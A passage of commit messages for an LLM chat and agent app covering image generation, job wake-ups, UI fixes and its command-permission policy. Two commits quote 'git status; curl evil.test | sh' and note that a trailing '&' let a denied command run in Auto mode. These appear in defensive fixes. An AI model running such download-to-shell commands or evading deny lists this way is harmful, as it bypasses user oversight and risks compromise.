The last unbuilt capability, and built the way CLAUDE.md said it had to be: a
ToolDef reaching resolve_tools plus a permission and a capability flag, not a new
code path. The only genuinely new UI is one branch in the transcript.

services/images/ is three modules. comfy.py speaks HTTP -- submit, poll /history,
fetch the PNG, /free, and an /object_info discovery for the admin page only.
Polled and not socketed, because holding a connection open for the length of a
generation is the live-connection state the whole ssh.py design forbids, and the
thing being waited for takes tens of seconds anyway. The base URL is exempt from
the SSRF guard by construction, exactly as Connection.base_url and the audio
endpoints are -- said out loud in the docstring, because a default of
127.0.0.1:8188 is precisely the shape that guard exists to refuse and therefore
reads as a hole rather than a decision.

workflow.py fills a template, and the one thing that matters is that it walks the
parsed JSON rather than the text of it. A value that is exactly "{{steps}}"
becomes the number 20; ComfyUI validates types and refuses the string. A
placeholder inside a longer string is still text, which is what makes
"{{prompt}}, masterpiece" work -- and text substitution would additionally mean a
prompt containing a quotation mark produced a document that no longer parses, on
the one input guaranteed to hold arbitrary text. Which node holds the prompt is
the administrator's statement rather than a guess from node types: sniffing for
the first CLIPTextEncode works on the shipped workflow and on nothing else, and
swaps positive for negative the first time somebody reorders them. seed has no
fixed default, because one would make every unspecified generation identical and
make the retry loop redraw the same rejected picture four times.

tool.py is one call, one finished image. Returning every attempt to the
conversation would cost a round each, make the ceiling advisory rather than
enforced, and walk the reader past every reject -- so the reviewer lives inside
the tool and is asked about *bytes*: an attempt about to be discarded should not
leave an Attachment behind, so it sees a downscaled preview built in memory and
only the kept image is written. Anything that goes wrong in review is a keep;
losing a picture because a judging request timed out would be the check
destroying the thing it was checking. The last attempt is kept whatever the
verdict, so a request always produces something. Rejects are recorded, not
stored.

Preserve VRAM unloads the chat's own connection and nothing else, because the
memory being freed belongs to one machine: local llama-swap answers GET /unload,
and a box on the network has no reason to be unloaded when ComfyUI wants memory
here. The swap goes round the review rather than round the tool, which costs two
model loads per retry -- so the two settings are independent and the page warns
when both are on. Nothing loads the LLM back: the reply's next request does, and
that step exists in the description and not in the code, so the code says so.

Two rules elsewhere had to be drawn for the first time. message_payload sends
images only on user turns -- no assistant message had ever carried one, and the
moment one does the multimodal list form on an assistant turn is rejected by
OpenAI and most local runners, breaking every later turn in the chat. And
files.store gained keep_original, because _process_image turns anything without
alpha into JPEG q85 at 1400px: right for a phone photo, a visible loss on the one
output this feature exists to produce.

/image sends the ordinary message with force_tool, which becomes tool_choice for
the first round only -- left in place the reply would draw a picture, be asked
again, and draw another. FORCEABLE_TOOLS is an allow list because the name is
read off a form.

ToolContext gained chat_id, and that fixed a tool nobody had ever successfully
run: _run_scratch_write read context.chat_id on a dataclass with no such field,
so every call raised AttributeError, swallowed by run_tool's blanket except into
"the scratch_write tool failed" -- indistinguishable from a model calling it
wrongly. The test that existed asserted the family and the risk, which are
properties of the declaration rather than of the code.

Verified against the real ComfyUI 0.27.0 on this machine rather than against
documentation: every endpoint shape here was read off it, a generation ran end to
end through the client, the reviewer was shown a matching and a mismatched prompt
and answered KEEP and RETRY correctly, and the unload hook fired for the local
llama-swap and not for the remote box.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-05 14:13:19 +02:00
Jaroslav Beneš f4bf1bf670 Refusing can say why, and the why is an instruction
"Don't" told the model it was refused and nothing else, so it did the one
sensible thing left and asked what you would rather -- a whole round spent on
something you knew when you pressed the button. "Give reason" opens a box beside
it, and what you write goes back with the refusal.

The reason changes what the model is *told*, not only what it reads, and that is
the whole of the feature. `_not_allowed` branches: given nothing to go on, "say
what you were going to do and ask what they would prefer" is right; given a
reason it is exactly wrong, because the answer is already on the screen above and
the model spends a round asking for it again. So it is pointed at the reason and
told to carry on from it. The "do not look for a way round" half is kept either
way -- that half is about the refusal and holds regardless.

A card-level field rather than `text.<key>`. One card covers everything in the
round for the reason the primitive exists, so one reason answers the round; and
on an approval card `text.<key>` already means a corrected command, which is a
different thing arriving in the same shape. Read only on a refusal, so a reason
typed and then abandoned by pressing Allow cannot travel with a permission.
Bounded where the Reply is built, so nothing downstream thinks about length, and
put on the tool event as well as in the result -- a transcript saying a step was
refused without saying why is one you had to have been watching to understand.

It is also the one thing in a tool result that is genuinely not untrusted: the
reader's own words, stated as theirs, needing no fence.

Both halves of the control are in the DOM with one hidden and the textarea
disabled while hidden, which is the rule the edit box beside it already states:
a field created by a click submits nothing when the click handler fails, and an
empty `reason` arriving would have to be told from one somebody cleared.

The version bump is not incidental. chat.css changed and the service worker
caches it under a name keyed on the version, so without it the first reload
serves the old stylesheet.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-05 12:44:54 +02:00
Jaroslav Beneš e9fab9d858 A job that finishes reaches the page you are looking at
Three complaints, all downstream of background commands.

A finished job woke the model and not the browser. `jobs.wake` writes the
completion and calls `generation.ensure`, and nothing tells the page: the only
stream here is per-message, opened by the `sse-connect` on an incomplete
assistant bubble -- which is a bubble this page has not got, because the reply
that created it began somewhere else. `_queue_frames` proves the swap works and
can only ride a stream already open. So the reader sat on the chat, watched the
sidebar dot light up for the chat in front of them, and had to click it or
reload to see a reply that had been there for minutes.

`GET /api/chats/{id}/tail?after=` and a five-second poller is the answer, polled
for the reason `/unread` is: a second always-on connection per tab is a lot of
machinery for something that happens a few times a day. A cursor it cannot place
-- absent, from another chat, naming a row a rewind deleted -- is answered with
204 and never with the transcript, which the page still holds every bubble of.
The cut is read from the row so `_inject`'s restamp moves it too, and compared in
SQL, a row read back from SQLite being naive where one still in the session is
aware; the `id >` tie-break is not decoration, since under a bare `>` a row
sharing the cut's microsecond is skipped for ever.

The cursor comes from the DOM, because the DOM is the honest answer to what the
page has -- the composer's POST, the `done` frame and the last poll all move it,
and a variable would have to be updated by each of them, correctly, for ever. On
`htmx:configRequest` rather than `hx-vals="js:…"`: two of the three things that
handler does are cancellations, which `hx-vals` cannot express. Not
`article.msg:last-of-type` either -- that is per-parent, so on a compacted chat
it answers with the last article inside the `<details>` and the poll re-appends
half the conversation. It is silent while a reply streams, since that reply
delivers its own bubbles in the one frame that can get the order right, and a
`htmx:beforeSwap` listener drops any answer holding a bubble already on the page:
the race `hx-sync` cannot reach, and a duplicate there is a second `sse-connect`
for one message rather than a cosmetic one. The route clears `unread` on every
tick including the 204, because `_persist` marks a reply unread whenever
`followers == 0` and that is true of a job-woken reply with somebody watching it.

The completion also claimed the reader had sent it. The role is load-bearing --
`_inject` sends a queued turn verbatim and `build_messages` must keep seeing a
user turn -- so `Message.machine` marks the bubble instead and the request is
untouched. Their initial, their name and a pencil offering to rewrite what a
machine reported: the route refuses the edit too, a hidden button being a
courtesy. `_completion_text` is deliberately unchanged, `tool.background` quoting
its opening sentence to the model, and there is now a test holding the two
together.

And the panel. `.jobs__row` had no horizontal padding while `.picker__menu` has
none either, so every row ran flush into the border under a header inset by
--sp-3. `jobs__row--open` had been emitted since the panel shipped with no rule
anywhere, so the row whose log was on screen looked like the ones that were not.
The dot was keyed on `status`, and `done` is exit 0 and exit 2 alike -- green
beside the row's own "Failed, exit 2" -- so `JobView.tone` answers the colour and
the template goes on answering the wording, which is the half a class name cannot
carry. `duration` is empty for a running job on purpose: this panel is fetched
when somebody opens it and never polled, so a live figure would freeze the
instant it painted. Its stamps are normalised before subtracting, a job started
before a restart and finished after it having one naive and one aware.

Driven under the DOM stub before committing, per the standing rule: two listeners
on document.body for events dispatched at a requesting element are exactly the
shape a regex cannot check.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-05 12:19:07 +02:00
Jaroslav Beneš 4643d1b584 Look around the machine before deciding to talk about it
The terminal and the canvas both needed a Chat, so they were missing from the
one screen where you are choosing which machine to work on. A draft is the
smallest thing that fixes it: an id, and the three facts behind it.

The trick is that a draft resolves to a *transient* Chat -- constructed, never
added to a session. `canvas.agent_ready`, `_executor`, `_load_agent`, `_save_agent`
and `agent_session.resolve` read exactly four attributes between them and none
of them queries or writes the row, so all of it works unchanged and nothing had
to learn what a draft is. Proven against a real sshd rather than a stub: a
transient chat opens and saves a project file over the same SFTP path a real one
uses, and the database stays empty throughout.

Chats are still created lazily. A draft is not a chat and never becomes one;
when the first prompt makes the real one, the shell is re-keyed into it and the
open tabs are copied across. `terminal.rekey` moves the registry key *and*
`session.chat_id`, because close_for_profile, close_for_owner and the reaper all
pop by the field -- a stale one would leave a dead session that `get` keeps
handing out. The shell is only adopted when its profile and directory match the
chat as finally resolved, since `_new_chat` settles an empty directory to the
connection's own; otherwise it is left alone rather than transplanted onto a
chat that says it runs elsewhere.

Two canvas sources are refused on a draft, by name, and one of them is a hole
rather than an inconvenience. `_load_file` authorises with
`attachment.chat_id != chat.id`, and an upload made on the new-chat screen is
stored with `chat_id=None` -- so a draft whose chat carried no id would make that
comparison `None != None`, which is False, and open every unclaimed attachment
its owner has. `as_chat` does set an id, so it already fails; the refusal is
stated anyway, because a guarantee that lives in an id-shaped coincidence is one
the next change breaks without noticing.

Adoption needed almost no JavaScript: start_chat already answers with
HX-Redirect, so the page reloads and the canvas adopts by construction while the
terminal reconnects to the re-keyed session and replays its scrollback -- the "a
reload is indistinguishable from a second tab" property working for us. What
re-points them mid-screen is a `lembas:agent-target` event, dispatched from
`setDir` and the connection select because assigning to a hidden field's value
fires nothing on its own. Driven under a DOM stub before committing.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 21:33:34 +02:00
Jaroslav Beneš fe43e95b79 A thinking block that says how long and how much
Each block reports its own round now. `reasoning_ms` was the reply's first
burst, written once, so on the fifteen-block reply GPT-OSS actually produces
only the first could claim a duration and the other fourteen said "Thought" and
nothing at all. `Generation.thinking_ms` accumulates per round and `close_step`
stamps it cumulatively, so steps.py diffs it exactly as it already diffs the
three lengths beside it.

The interval between a round's first and last reasoning delta, deliberately, not
a sum of gaps between deltas -- that would count the network's latency as the
model's thinking.

While it runs: "Thinking" with an ellipsis that types itself, and the seconds
and tokens climbing beside it. The ellipsis is a `content` keyframe, so there is
no timer to start, stop or clean up when the block is swapped away -- it stops
existing when the element does. The numbers come from a `think` frame, and
`round_thinking_ms` is written by the producer rather than computed by the
follower from a start time: a model that has stopped thinking and moved on to a
tool should show a settled number, not a clock that keeps running.

Tokens read exactly up to 200 and as `0.4k` above it, from one helper shared by
the live label and the stored one, so the two cannot drift into two conventions.
The live duration is terser than the finished one -- `6s` against `6 seconds` --
because it sits beside an animating word and changes every second, where "less
than a second" flickering into "1 second" reads as a glitch.

Checked against the real endpoint: fourteen marks carrying 919ms through
14223ms, per-block labels from "less than a second · 111" to "4 seconds · 0.5k",
and the live frames resetting each round rather than accumulating.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 21:03:25 +02:00
Jaroslav Beneš df2d5cc877 The jobs chip was replacing the whole transcript
This is the blank agent chat, and it was not the transcript rewrite at all.

`hx-target` is inherited. The composer's form carries `hx-target="#thread"`
with `hx-swap="beforeend"`, which is what makes a sent message append a bubble.
The background-jobs chip I added last commit sits inside that form and declared
`hx-swap="outerHTML"` and nothing else -- which reads as "replace yourself" and
resolved, through the form, to "replace #thread with yourself". On load, and
then again every five seconds.

So an agent chat rendered its reply and then went blank, the reader's own prompt
along with it, because the entire transcript had been swapped out for a chip
that renders empty when no jobs are running. Only agent chats, because that is
the only place the chip exists. The server logged nothing, because nothing there
had gone wrong: every page render, every SSE frame and every stored row was
correct throughout, which is why four rounds of looking at the server found
nothing.

Both the chip and the element that loads it now carry `hx-target="this"`, and
`tests/test_chat.py` walks the composer's form and refuses anything that fetches
without saying where its answer goes. Checked against the bug before being kept.

Worth being precise about what made it invisible: the markup was correct. There
is nothing wrong with `hx-swap="outerHTML"` on an element with no target -- it
means "swap yourself" right up until an ancestor disagrees. It is the same
family as the trigger bound where the event does not go, and the same lesson:
assert the resolved property, not the attributes.

My earlier fix in 74a3c0f was a real defect -- an sse-swap container must not
hold another -- but it was not this, and I should have said "best hypothesis"
rather than "found it" when I shipped it.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 20:29:04 +02:00
Jaroslav Beneš 3065878bd0 A question that offers real choices, and says how many you may take
Three things about `ask_user`, all of them about the card being answerable
rather than about the tool being callable.

Options are required now, and they are objects: a label, and a line of
description where the label alone does not say what choosing it would mean.
"Rewrite it" and "Patch it" are two words that do not tell you which one loses
your uncommitted work. They stack one per line, because a row of chips has
nowhere to put the second line and no room to read the first.

The model says whether they are exclusive. Only it knows whether its options are
alternatives or a set, and the card has to show which -- a radio group offered
where checkboxes were meant loses every answer but one. Exclusive is the
default, being the cheaper mistake. A `multiple` question posts the same field
name once per ticked box, so the endpoint gathers choices into a list; the
`setdefault` it did before kept the first and dropped the rest, which is an
answer that says something the reader did not.

And "Something else" is added here, on every question, with the box behind it
revealed by `:has()` and no JavaScript at all. The model is told never to write
an "other" option of its own, because its version would be a choice with no box
behind it -- a word submitted that means nothing. It carries a sentinel rather
than an answer, and the endpoint swaps in what was typed beside it, or drops it
when the box was left empty rather than telling the model the answer is
"__other__".

Typing no longer beats picking. That rule belonged to a box that was always
visible next to the options; this one only exists once its own option is chosen,
so picking is the answer and the box is one of the things you can pick.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 19:34:47 +02:00
Jaroslav Beneš 7df68eb44c A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 19:02:07 +02:00
Jaroslav Beneš c0d6056ec4 A directory chip that stopped eating the row
The project directory showed its whole path, which on anything real filled the
chip's 16rem basis and pushed the Manual/Edit/Auto/Plan select off the end of
the composer. It shows the directory's own name now, with the full path in the
tooltip -- the leading directories are the part nobody reads, since what you
check before sending is that you are in `myproject` rather than `myproject-old`.

The hidden field still submits the whole path. Shortening a label must never
shorten a value, and there is a test on the row rather than on the markup for
exactly that.

Three CSS rules hold the row together, and none of them is visible from the
markup. `.composer__agent` needed `min-width: 0`: a flex item will not shrink
below its content without it, so the group refused to give and the *last* child
was what fell off -- which is why the mode select was the thing being cut rather
than the path that was too long. `.composer__dir` is capped, being the only
child here whose content is unbounded; a connection name and a mode are both
short and known. And the mode select is `flex: none`, because it is read and
changed constantly and should never be the thing that scrolls out of reach.

`baseName` driven under node against ten paths, trailing slashes and `/`
included. The topbar's copy of the same path was already capped and truncating,
so it is left alone.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 13:17:56 +02:00
Jaroslav Beneš 48a66a4037 The test count, correctly
1417, not 1419. A number in the working notes that nobody can trust is worse
than no number.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 12:53:57 +02:00
Jaroslav Beneš 47f2cff640 Pinned models that know which side you are on
Reported: a pinned model always opened an ordinary chat, even with Agents
selected in the sidebar. They now carry `&kind=agent` with the switch -- a
preselection like `?model=` itself, so the new-chat screen still decides and
nothing is fixed until the first message is sent.

They sit above the tree the switch swaps, so this is the same shape as the New
chat button a few commits ago and gets the same treatment: their own partial,
arriving out of band. The group is rendered even when nothing is pinned,
because a block that vanished when the last model was unpinned would leave that
fragment with nowhere to land -- and htmx says nothing at all when a target is
missing, which is the silent failure this codebase keeps cataloguing.
`.nav-group--pinned:empty` stops the empty one taking room.

Chasing it turned up something else. The shortcuts came from `_chat_context`,
which only the chat pages build -- so the library, connections, settings and
folder pages carried the sidebar without them. A shortcut that is there on one
page and gone on the next. They come from `sidebar_context` now, where they
belong: it is sidebar content, and it is what the fragment route has.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 12:53:47 +02:00
Jaroslav Beneš 7411517ce1 Two controls that did nothing, and instructions worth reading
**Switching mode mid-reply did nothing.** The mode was snapshotted when the
reply began, so changing to Auto during a long agent reply went on asking about
every call until the next turn. The same snapshot held the chat's allow list,
which means "Always allow this" was accepted, written to the row, and then
ignored for the rest of the reply that had just asked about it -- the same bug,
in the quieter place nobody reported.

`agent/session.py:refresh` re-reads exactly those two, between rounds and never
within one. A round's calls are authorised together, so a switch must not
retroactively approve what is already queued -- which is the property the
reply-long snapshot was protecting by accident, and the reason this is not
simply moved into `_authorise`. It mutates in place, because `as_approved`
copies field references and a replacement would leave the round's approved copy
pointing at the old context.

**The composer's highlighting stayed behind after sending.** htmx fires
afterSwap and afterSettle *before* afterRequest, and the composer empties itself
from `hx-on::after-request` -- so every repaint ran while the box still held the
message. It repaints on afterRequest and on `reset` as well now, deferred a
frame: a form's reset event fires before its fields are actually cleared, so
reading the value in the same turn paints the text that is about to vanish.
Driven under a DOM stub reproducing htmx's real ordering, and confirmed to fail
without the fix.

**plan_update, audited.** It never said to mark a task `doing`, so the plan only
ever showed work already finished, which is the opposite of "what somebody reads
to see where you are". It never said several changes fit in one call, so a model
spends a round per task. And `done` now means checked rather than written.

**New: core.engineering**, an agent-chat fragment about conduct rather than
about any language -- run what you write, find the project's own build and test
commands rather than guessing, read before editing, change one thing at a time,
read the error instead of guessing at a fix, do not broaden an except to make
output clean, and say what you did not check. Every line is about the gap
between having written something and knowing it works, which is the gap a model
closes by asserting.

That pushed the shipped harness to within 1,300 characters of its ceiling, where
crossing it silently severs the project's own AGENTS.md. The ceiling is 20,000
and the test pins a margin as well as a fit -- the headroom is also where an
administrator's own wording goes, and an override is usually longer than the
default it replaces.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 12:36:50 +02:00
Jaroslav Beneš 2576755f79 A title call that could not survive a model that thinks
Reported: chat names never regenerate after the first reply. They were
regenerating; the request was being made and the answer thrown away.

`complete()` returns `message.content` verbatim, and a model that emits
`<think>` inline puts its thinking in exactly the field the title is read from.
So the title came back as "<think>Okay, the user wants a short title for" --
or, once the too-long guard caught that, as the first prompt trimmed, which is
indistinguishable from titling never having run. That is what was being seen.

Underneath it, `max_tokens: 24`. Ample for six words, and nowhere near enough
for a model that reasons first: the budget goes on thinking and the content
field comes back empty or holding an unclosed tag. Too small is not a shorter
title, it is no title at all.

Both fixed: the reply goes through `reasoning.strip_reasoning`, and the budget
is `TITLE_MAX_TOKENS` with room to think. Reproduced first against the four
shapes an endpoint actually answers with -- three of them were broken -- and
the tests are written from those.

What I did *not* do is ask for a low reasoning effort on the call, which would
make it much cheaper and was the obvious move. `reasoning_effort` and
`chat_template_kwargs` appear only where somebody has opted in, so that a
provider strict about unknown parameters sees exactly the request it always
did. An LLMError here is caught and turned into a fallback title -- so a 400
would be titling silently switching itself off, which is the failure this
commit exists to fix. The token budget makes the room instead.

The shipped prompt now asks for a leading emoji, as requested. Asked for rather
than assumed: a model that ignores it gives a title without one, and an
administrator who does not want them clears the word.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 11:23:45 +02:00
Jaroslav Beneš 9b65adf388 A ceiling that was a schedule, and a reply that ended in silence
Reported: an ordinary chat with a small local model researching a question
well -- six searches, each one informed by the last -- stopped at the round
limit and produced no answer at all. Two separate faults, and the second is
the serious one.

The limit was 5 and it should not have been a working number. It was 1 once,
and the note beside it already said why that was wrong: a count low enough to
be reached by ordinary work is a schedule, not a ceiling, and it overrides the
model's judgement on every turn instead of catching a runaway. Five was the
same mistake with a larger number. It is 0 now -- no ceiling, falling back to
MAX_TOOL_ROUNDS as a runaway backstop, which is the shape `Limits.steps`
already had for an agent chat. What bounds an ordinary chat is the context
window, which is a real limit rather than a guess at how much looking-up a
question deserves. An administrator who wants a ceiling can still set one.

The worse fault: *every* budget ended the reply where it was noticed. That is
survivable for a model that narrates as it works and produces nothing at all
for one that goes straight to tool calls -- an empty bubble with a red line
under it, and everything it had gathered thrown away. `_wrap_up` withdraws the
tools and asks once more instead. What it found is in the transcript either
way; one request turns it into an answer. Same move `plan_submit` makes, and
the reason the loop now runs to `budget + 2`: the round at the budget notices,
the one after it answers. The event stays, because an answer the model chose to
give and one it gave because it ran out of room read identically otherwise.

`_too_big` is the one exception and stays a hard stop. It *is* the finding that
there is no room for another request, so a wrap-up round would be the same
overflow with an upstream error in place of an explanation.

`core.keep_working` was gated on the agent family and is now gated on
`unbounded`, the exact complement of `round_budget` -- so an ordinary chat with
no ceiling is told to work until the job is done rather than being told nothing,
and is never told it has a budget of two hundred, which it would ration.

The regression test asserts the reply is not empty, and fails with `'' ==
'Here is what I found.'` against the old code -- which is exactly what was seen.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 11:11:57 +02:00
Jaroslav Beneš a56ee16ee3 Three things that said one thing and did another
All three shipped in the last two commits, and all three are the same kind of
mistake: an interface that looks right and is not.

The folder settings page could not be scrolled. `.main` is a flex column with
`min-height: 0`, so a `.page` dropped straight into it overflows the viewport
with nothing to scroll -- Save and Back end up below the bottom of the window,
reachable by zooming out or by dragging the prompt textarea up out of the way.
Every other page of this shape already wraps its content in `.admin-scroll`;
this one did not. The two class names that scroll are one rule in admin.css
precisely so this is a wrapper somebody forgot rather than a value they got
wrong, and now it is noted.

The project directory was a text box, on the one screen that asks for an
absolute path on another machine. It is the same button-and-hidden-field the
new-chat screen uses, wired by `[data-dir-field]` in ui.js -- scoped to that
attribute so this and the composer's own handler cannot both answer one click
and open two dialogs. The composer keeps its own because it does more: it
follows the selected profile's default directory until somebody picks their
own, which only means something while a chat is being created. With no
connection chosen it says so rather than opening onto nothing, and Clear is
always there, because browsing somewhere and changing your mind before saving
needs a way back to "no opinion" as much as clearing a saved one does.

And "New chat" did not follow the Chat/Agent switch. The button sits above the
scroll area rather than inside the tree the switch swaps, so it went on saying
"New chat" over a list of agent chats. It moves to its own partial and arrives
out of band, the way the chat title already does. Renaming it to something
neutral would have hidden the bug rather than fixed it, and would have cost the
`?kind=agent` preselection the label is there to explain.

The tests that existed asserted a page load, which re-renders the button
anyway -- which is exactly why nobody saw it. The new ones assert the fragment.
The directory field was driven under a DOM stub first.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 10:40:01 +02:00
Jaroslav Beneš fd4db76c64 Files, open beside the conversation
A third side panel, built the way the terminal is and filled the way the
inspector is: tabs holding open files. Project files over SFTP in an agent
chat; notes, skills, knowledge documents, this chat's text attachments and its
own scratch document everywhere. Read with pygments, edited in a plain
textarea, saved with a conflict check.

A bug found on the way in, and the reason this needed its own read path.
`ssh.read_file` ends in `clean_output`, which strips ANSI escapes and decodes
with errors="replace" -- right for the output of a command, and fatal for an
editor: open a file containing an escape byte, press Save, and you have
silently rewritten it with the escapes gone and every undecodable byte replaced
by U+FFFD. `read_text`/`write_text` decode strictly, report binary rather than
mangling it, carry an mtime:size token for a file that moved underneath, and
refuse an oversize write rather than truncating -- `write_file` truncates
because a model is told how many bytes it wrote, and somebody pressing Save is
not. The model-facing pair is untouched: what it returns is a contract a model
has been shown. A truncated read opens read-only for the mirror-image reason.

Six sources go through one dispatch table, for the reason tool_labels.py is a
table: six independently written permission checks is how one ends up written
slightly differently, and that failure looks like editing somebody else's note.

A save on a project file bypasses agent/policy.py, which makes it the fourth
documented exception to "the modes do not govern the keyboard" and the first
that writes. Same argument as the terminal panel -- whoever owns the credential
could write the file with scp -- but the consequence is larger and is now said
out loud rather than left to be inferred.

The model opens tabs from the file tools it was already calling, so no new
schema and no tokens. It never brings one to the front: an agent reads forty
files in a long reply, and taking the screen each time would drag somebody
through all of them and lose any edit in progress. Only the strip is streamed,
guarded on truthiness so the frame can never blank itself -- an empty one would
close every open tab, the approval card you could press twice with the sign
reversed. Both halves are settled on the server, which is why canvas.js needs
no guard against a swap at all.

No vendored editor. CodeMirror 6 needs a bundler, which is hard rule 1;
CodeMirror 5 would be a larger payload than xterm on every page, and xterm is
the one heavy dependency precisely because it loads only where it can be used.
So: server-rendered highlighting for reading, a textarea for writing, and the
panel says there is no colour while you type rather than pretending.

Also here: a scratch document per chat, with `scratch_write` at RISK_READ on
plan_update's argument, and a test pinning the three numbers that decide a
panel's width -- LAYOUT_BOUNDS drops an unknown variable silently, so a panel
missing from it has a drag handle that works and forgets.

Driven under a DOM stub and against the running application.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-04 09:21:03 +02:00
Jaroslav Beneš 7c51dc306d Four things that failed silently in an agent chat, and an account of the work
Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.

**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.

**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.

**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.

**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.

Two more found while fixing them:

**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.

**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.

And, because an agent that works for ten minutes should be readable while it
does:

**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.

**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 21:59:19 +02:00
Jaroslav Beneš 6cffcb357d Wake the model when a background job finishes
The other half of background execution: a job that finishes while nobody is
looking prompts the model back with its result, rather than sitting unread until
the model happens to run again.

The vehicle is the queue, because it is the only wiring that already delivers a
turn into or after a reply. A per-job poller notices completion and calls
jobs.wake. If a reply is being written the completion is left queued for that
reply's _inject/_drain; if the chat is idle a fresh reply is started to answer
it -- the send_queued_now move. All of it under a per-chat lock with no await
between the running-check and ensure, so two jobs finishing at once cannot each
spin up a generation: the second sees the first's reply already live and leaves
its completion for it. That is the invariant the queue exists to hold, reached
from outside a request for the first time.

The completion is a user-role turn whose content names itself a machine event --
